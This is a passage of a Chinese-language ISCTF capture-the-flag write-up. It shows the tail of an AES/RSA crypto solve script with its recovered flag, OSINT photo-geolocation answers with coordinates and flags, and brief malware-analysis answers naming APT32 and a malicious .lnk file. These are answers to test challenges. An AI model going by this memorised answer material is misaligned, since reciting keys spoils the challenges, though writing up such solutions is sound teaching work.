    cipher = AES.new(aes_key,AES.MODE_CBC,iv=iv)   #TypeError: object of type 
'int' has no len(),此处需要的iv是字符串格式？
    try:
        plaintext = cipher.decrypt(ct)
        flag = unpad(plaintext,16).decode()
        print(flag)
    except Exception as e:
        print(e)
else:
    print('none')

# [+]二分查找得到的m近似上限：155455820692697783953491152103673434341
# [+]找到参数，m=155455820692697783953491152103673430935,x=10219
# ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA}

flag: ISCTF{i7_533M5_Lik3_You_R34lLy_UNd3R574nd_Polinomials_4nD_RSA} ​

Osint​
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1​

通过特征可以分析出是高校，再进行一番筛选得出是福州大学旗山校区图书馆。

谷歌上该处街景只有一处，得出经纬度 26.058821,119.197698​

flag: ISCTF{comments.lotteries.trails} ​

2​

首先，指示牌和墙上的涂鸦都有英文，其次两座桥可以看出是布鲁克林大桥和曼哈顿大桥

之后根据角度找观景台，找到经纬度是 40.7093558,-73.9933583​

flag: ISCTF{flame.outer.like} ​

3​

Spring：我一定要做出来😡​

好吧没做出来

病毒分析

1​

猜测是APT32​

答案：海莲花

2​

解压即得

答案：ISCTF基础规则说明文档.pdf.lnk​

3​

在system32中查看快捷方式的数字签名​

答案：Zoom Video Communications, Inc.​


